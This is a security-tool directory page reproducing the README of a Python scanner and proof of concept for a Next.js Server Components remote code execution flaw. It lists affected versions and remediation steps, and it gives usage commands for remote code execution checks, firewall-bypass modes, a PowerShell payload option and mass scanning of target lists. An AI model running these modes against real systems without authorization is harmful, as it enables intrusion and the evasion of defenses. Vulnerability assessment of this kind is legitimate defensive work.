Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC2-CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/iamblacksolo2-bugbounty/poc2-cve-2025-55182
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassPenetration Testing
GitHubiamblacksolo2-bugbounty/poc2-cve-2025-55182

POC2-CVE-2025-55182

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
8 months agoNot yet reviewed

React2Shell Ultimate - CVE-2025-66478 Scanner

CVE-2025-66478 CVE-2025-55182 CVSS 10.0 Python 3.7+ MIT License

The most comprehensive scanner for Next.js RSC Remote Code Execution vulnerability

root@kitploit:~
╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║                                                                        ║
║                                                                        ║
╠════════════════════════════════════════════════════════════════════════╣
║  Modes: --safe (side-channel) | --rce (PoC) | --version | --local      ║
║  WAF Bypass: --waf-bypass | --vercel-bypass | --unicode                ║
╚════════════════════════════════════════════════════════════════════════╝

🚨 Vulnerability Overview

CVE-2025-66478 (also known as CVE-2025-55182) is a CRITICAL (CVSS 10.0) Remote Code Execution vulnerability affecting Next.js applications using React Server Components (RSC).

Affected Versions

✨ Features

This tool combines the best features from multiple CVE-2025-66478 scanners:

🚀 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate

# Install dependencies
pip install -r requirements.txt

# Or install manually
pip install requests tqdm

📖 Usage

Basic Scanning

root@kitploit:~
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version

# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe

# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce

# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive

Mass Scanning

root@kitploit:~
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json

# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q

# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json

Local Project Scanning

root@kitploit:~
# Scan current directory
python3 react2shell-ultimate.py --local .

# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects

WAF Bypass Techniques

root@kitploit:~
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass

# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256

# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode

# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass

# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows

Advanced Options

root@kitploit:~
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080

# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"

# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30

# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v

📋 Command-Line Options

🔬 Detection Methods

1. Safe Side-Channel Detection (--safe)

Triggers a specific error response pattern without executing any code. Identifies vulnerable RSC implementations through error handling behavior.

2. RCE Proof-of-Concept (--rce)

Executes a harmless mathematical calculation (echo $((41*271)) = 11111) to confirm RCE capability. The result appears in the X-Action-Redirect header.

3. Version Detection (--version)

  • Checks X-Powered-By header for Next.js version
  • Analyzes Vary header for RSC indicators
  • Probes RSC endpoints for text/x-component responses
  • Scans page source for Next.js fingerprints

4. Local Scanning (--local)

Scans project directories for:

  • package.json - Direct dependency declaration
  • package-lock.json - NPM lockfile
  • yarn.lock - Yarn lockfile
  • pnpm-lock.yaml - PNPM lockfile
  • bun.lockb - Bun lockfile

📊 Output Examples

Console Output

root@kitploit:~
[VULNERABLE] https://target.com
    Version: 15.3.1 | Status: 200 | Method: rce_poc
    WAF Bypass: SUCCESS

[NOT VULNERABLE] https://safe-target.com
    Version: 15.5.7 | Status: 200 | Method: http_headers

[WAF BLOCKED] https://protected.com
    Version: 15.2.0 | Status: 403 | Method: rce_poc
    WAF Detected: Exploit blocked

JSON Output

root@kitploit:~
{
  "tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
  "version": "1.0.0",
  "cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
  "scan_time": "2025-12-06T12:00:00Z",
  "total_results": 1,
  "results": [
    {
      "url": "https://target.com",
      "vulnerable": true,
      "version": "15.3.1",
      "status_code": 200,
      "detection_method": "rce_poc",
      "waf_detected": false,
      "waf_bypassed": false
    }
  ]
}

🛡️ Remediation

If you find vulnerable applications:

  1. Upgrade immediately to patched versions:

    • Next.js 15.x → Upgrade to 15.5.7+ (or your minor version's patch)
    • Next.js 16.x → Upgrade to 16.0.7+
  2. Temporary mitigations:

    • Use Edge Runtime instead of Node.js runtime
    • Disable Server Actions if not needed
    • Deploy behind a WAF with RSC payload detection
  3. Monitor for exploitation attempts in logs

📚 References

  • Next.js Security Advisory - CVE-2025-66478
  • Assetnote Research - React2Shell
  • NVD - CVE-2025-66478

⚠️ Disclaimer

This tool is provided for authorized security testing and educational purposes only.

  • Only scan systems you have explicit permission to test
  • The RCE PoC mode executes code on target systems (harmless calculation)
  • Unauthorized access to computer systems is illegal
  • The author is not responsible for misuse of this tool

📄 License

MIT License - See LICENSE file for details.


⭐ Star this repo if you find it useful! ⭐

Download Tool
Version RangeStatus
Next.js 15.0.0 - 15.0.4⚠️ Vulnerable
Next.js 15.1.0 - 15.1.8⚠️ Vulnerable
Next.js 15.2.0 - 15.2.5⚠️ Vulnerable
Next.js 15.3.0 - 15.3.5⚠️ Vulnerable
Next.js 15.4.0 - 15.4.7⚠️ Vulnerable
Next.js 15.5.0 - 15.5.6⚠️ Vulnerable
Next.js 16.0.0 - 16.0.6⚠️ Vulnerable
Next.js 14.3.0-canary.77+⚠️ Vulnerable
Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+✅ Patched
Next.js 16.0.7+✅ Patched
Next.js 13.x, 14.x stable✅ Not Affected
FeatureDescription
🔍 Multi-Mode DetectionSafe side-channel, RCE PoC, version-only, local scanning
🛡️ WAF Bypass TechniquesJunk data padding, Unicode encoding, Vercel-specific bypass
📁 Local Project ScanningScan package.json, lockfiles for vulnerable dependencies
⚡ High PerformanceMulti-threaded scanning with configurable concurrency
📊 Multiple Output FormatsConsole, JSON, file export
🎯 Accurate Version DetectionHTTP headers, RSC fingerprinting, patched version awareness
OptionDescription
-u, --urlSingle URL to scan
-l, --listFile containing URLs (one per line)
--localScan local project directory
--safeSafe side-channel detection (no RCE)
--rceRCE proof-of-concept mode
--versionVersion detection only
--comprehensiveFull scan with all techniques
--waf-bypassAdd junk data for WAF bypass
--waf-bypass-sizeJunk data size in KB (default: 128)
--unicodeUnicode encoding for WAF bypass
--vercel-bypassVercel-specific WAF bypass
--windowsUse Windows PowerShell payload
-t, --threadsConcurrent threads (default: 10)
--timeoutRequest timeout in seconds (default: 10)
-k, --insecureDisable SSL verification
--proxyProxy URL (http://host:port)
-H, --headerCustom header (repeatable)
-o, --outputOutput file (JSON)
--all-resultsSave all results, not just vulnerable
-v, --verboseVerbose output
-q, --quietOnly show vulnerable hosts
--jsonJSON output to stdout
--no-colorDisable colored output